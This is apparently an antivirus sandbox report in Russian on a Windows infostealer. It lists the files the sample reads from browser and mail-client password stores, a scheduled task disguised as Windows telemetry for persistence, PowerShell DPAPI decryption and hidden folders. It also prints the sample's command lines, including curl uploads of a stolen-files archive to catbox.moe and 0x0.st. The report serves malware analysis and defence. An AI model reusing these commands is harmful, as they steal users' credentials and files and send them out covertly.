Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowstelemetrysync_mxgy95
Вредоносные функции
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %HOMEPATH%\desktop\1189.jpg
- %HOMEPATH%\desktop\168.jpg
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpg
- %HOMEPATH%\desktop\64bit_notes.htm
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\parnas_01.jpg
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %APPDATA%\thunderbird\profiles.ini
- %APPDATA%\opera software\opera stable\login data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\pkg-b20lk8\5ad24cd4d19ef03079717bd6309fe0604c2a4829cd92788ebf6da95c41d3d28f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
- %TEMP%\pkg-b20lk8\82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\binding.gyp
- %TEMP%\pkg-b20lk8\8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
- %TEMP%\pkg-b20lk8\762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
- %TEMP%\pkg-b20lk8\d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
- %TEMP%\pkg-b20lk8\a39db87a3a3aa954ac3f6553b9fbfc642eb22bef7586cc1f0559e676aa073fa8
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.d.ts
- %TEMP%\pkg-b20lk8\4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\common-sqlite.gypi
- %TEMP%\pkg-b20lk8\5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\extract.js
- %TEMP%\pkg-b20lk8\e419c0ce9b0c4ba177c1f0af7f5e9c0b798b2bad8626347e3f0f37c9ffe67804
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite-autoconf-3440200.tar.gz
- %TEMP%\pkg-b20lk8\8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite3.gyp
- %TEMP%\pkg-b20lk8\cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\async.h
- %TEMP%\pkg-b20lk8\960e50580d2f2e668ee79b0c2ef99eaf006bc9178f438c4bb4e278f80f3d8960
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.cc
- %TEMP%\pkg-b20lk8\556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.h
- %TEMP%\pkg-b20lk8\40ea909433a35a95a8463c49231ddca040717681fc96ee3ba6f10840429b4ad6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.cc
- %TEMP%\pkg-b20lk8\8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.h
- %TEMP%\pkg-b20lk8\9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\gcc-preinclude.h
- %TEMP%\pkg-b20lk8\c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\macros.h
- %TEMP%\pkg-b20lk8\e80fae190ace1a5153a397ae9fe55d6d28651471fb7bebf9bbb5528095d70f44
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\node_sqlite3.cc
- %TEMP%\pkg-b20lk8\2fe8c826256cb1b96e26c74aeab465a329a307e7e1107ba296d059a07cc0f948
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.cc
- %TEMP%\pkg-b20lk8\605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.h
- %TEMP%\pkg-b20lk8\e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\threading.h
- %TEMP%\pkg-b20lk8\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node.bak
- nul
- %LOCALAPPDATA%\microsoft\usersettings\winhost.lock
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\log.txt
- %APPDATA%\microsoft\windows\axnfaq6j\ifocomco.exe
- %APPDATA%\microsoft\windows\axnfaq6j\g2dccrax.vbs
- %APPDATA%\microsoft\windows\axnfaq6j\5bne9v25.xml
- %APPDATA%\microsoft\windows\systemdata\sys_core_tgwtxxpn.ps1
- %TEMP%\history_oyzaxcex.db
- %TEMP%\cards_neqcywqj.db
- %TEMP%\downloads_pznq8djq.db
- %TEMP%\qylgtmbwp0\za1r_1189.jpg
- %TEMP%\qylgtmbwp0\2kdm_168.jpg
- %TEMP%\qylgtmbwp0\ftwh_4f0bf7ff71f28.jpg
- %TEMP%\qylgtmbwp0\ncdi_64bit_notes.htm
- %TEMP%\qylgtmbwp0\bkhy_applicantform_en.doc
- %TEMP%\qylgtmbwp0\cxl5_cveuropeo.doc
- %TEMP%\qylgtmbwp0\tan5_default.bmp
- %TEMP%\qylgtmbwp0\de8r_holycrosschurchinstructions.docx
- %TEMP%\qylgtmbwp0\l0lf_parnas_01.jpg
- %TEMP%\qylgtmbwp0\xugn_uep_form_786_bulletin_1726i602.doc
- %LOCALAPPDATA%\yandex\yandexbrowser\user data\default\user stylesheets\custom.css
- %TEMP%\decrypt_dpapi_m4r0g92r.ps1
- %LOCALAPPDATA%\google\chrome\user data\default\webdata.db
- %LOCALAPPDATA%\google\chrome\user data\default\passwords.db
- %TEMP%\cookies_pbxfotxv.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\firefox\dnyauhh1.default-release\key4.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\firefox\dnyauhh1.default-release\cookies.sqlite
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\firefox\dnyauhh1.default-release\cookies.sqlite-shm
- %TEMP%\downloads_jhxu7tcz.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\stolen_files.zip
- %TEMP%\history_4dianidl.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\passwords.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\webdata.db
- %TEMP%\cards_fzyizmf4.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\firefox\dnyauhh1.default-release\places.sqlite
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\thunderbird\gbmwccb6.default-release\key4.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\thunderbird\gbmwccb6.default-release\cookies.sqlite
- %TEMP%\downloads_xp3xdq56.db
- %APPDATA%\opera software\opera stable\passwords.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\thunderbird\gbmwccb6.default-release\cookies.sqlite-shm
- %APPDATA%\opera software\opera stable\webdata.db
- %TEMP%\cards_5ffaukhq.db
- %TEMP%\history_r61yowyy.db
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\thunderbird\gbmwccb6.default-release\places.sqlite
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\history\google history.txt
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\browsers\firefox_recovery_info.txt
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\passwords\firefox passwords.txt
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy\screenshot\screenshot.png
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy.zip
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy_fallback.zip
Удаляет файлы, которые сам же создал
- <SYSTEM32>\tasks\windowstelemetrysync_mxgy95
- %TEMP%\decrypt_dpapi_m4r0g92r.ps1
- %TEMP%\downloads_pznq8djq.db
- %TEMP%\cookies_pbxfotxv.db
- %TEMP%\history_oyzaxcex.db
- %TEMP%\cards_neqcywqj.db
- %TEMP%\downloads_jhxu7tcz.db
- %TEMP%\cards_fzyizmf4.db
- %TEMP%\history_4dianidl.db
- %TEMP%\downloads_xp3xdq56.db
- %TEMP%\cards_5ffaukhq.db
- %TEMP%\history_r61yowyy.db
- %TEMP%\qylgtmbwp0\2kdm_168.jpg
- %TEMP%\qylgtmbwp0\bkhy_applicantform_en.doc
- %TEMP%\qylgtmbwp0\cxl5_cveuropeo.doc
- %TEMP%\qylgtmbwp0\de8r_holycrosschurchinstructions.docx
- %TEMP%\qylgtmbwp0\ftwh_4f0bf7ff71f28.jpg
- %TEMP%\qylgtmbwp0\l0lf_parnas_01.jpg
- %TEMP%\qylgtmbwp0\ncdi_64bit_notes.htm
- %TEMP%\qylgtmbwp0\tan5_default.bmp
- %TEMP%\qylgtmbwp0\xugn_uep_form_786_bulletin_1726i602.doc
- %TEMP%\qylgtmbwp0\za1r_1189.jpg
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy.zip
- %LOCALAPPDATA%\microsoft\usersettings\e8g8sagtaq\en-pgixfgjy_fallback.zip
- %LOCALAPPDATA%\microsoft\usersettings\winhost.lock
Сетевая активность
UDP
- DNS ASK ca##ox.moe
- DNS ASK 0x#.st
- DNS ASK up####.gofile.io
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "%APPDATA%\Microsoft\Windows\SystemData\sys_core_tgwtxxpN.ps1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\decrypt_dpapi_M4r0G92R.ps1"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "net session" (со скрытым окном)
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHea... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserU...
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%APPDATA%\Microsoft\Windows\AXnFaQ6j"" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\Microsoft\Windows\AXnFaQ6j"
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "WindowsTelemetrySync_Mxgy95" /xml "%APPDATA%\Microsoft\Windows\AXnFaQ6j\5BnE9v25.xml" /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsTelemetrySync_Mxgy95" /xml "%APPDATA%\Microsoft\Windows\AXnFaQ6j\5BnE9v25.xml" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "WindowsTelemetrySync_Mxgy95" /tr "wscript.exe //nologo '%APPDATA%\Microsoft\Windows\AXnFaQ6j\G2DCcrax.vbs'" /sc onlogon /rl highest /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsTelemetrySync_Mxgy95" /tr "wscript.exe //nologo '%APPDATA%\Microsoft\Windows\AXnFaQ6j\G2DCcrax.vbs'" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskNam... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confir...
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /delete /tn NVIDIA_SelfUpdate_* /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn NVIDIA_SelfUpdate_* /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "%APPDATA%\Microsoft\Windows\SystemData\sys_core_tgwtxxpN.ps1"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,2... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\decrypt_dpapi_M4r0G92R.ps1"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,69,247,204,56,...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBU... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAc...
- '<SYSTEM32>\cmd.exe' /d /s /c ""curl" -s -F "reqtype=fileupload" -F "fileToUpload=@"%LOCALAPPDATA%\Microsoft\UserSettings\E8g8sAGTAQ\EN-pgixfgjy.zip"" "https://catbox.moe/user/api.php"" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -F "reqtype=fileupload" -F "fileToUpload=@"%LOCALAPPDATA%\Microsoft\UserSettings\E8g8sAGTAQ\EN-pgixfgjy.zip"" "https://catbox.moe/user/api.php"
- '<SYSTEM32>\cmd.exe' /d /s /c ""curl" -s -F "file=@"%LOCALAPPDATA%\Microsoft\UserSettings\E8g8sAGTAQ\EN-pgixfgjy.zip"" "https://0x0.st"" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -F "file=@"%LOCALAPPDATA%\Microsoft\UserSettings\E8g8sAGTAQ\EN-pgixfgjy.zip"" "https://0x0.st"
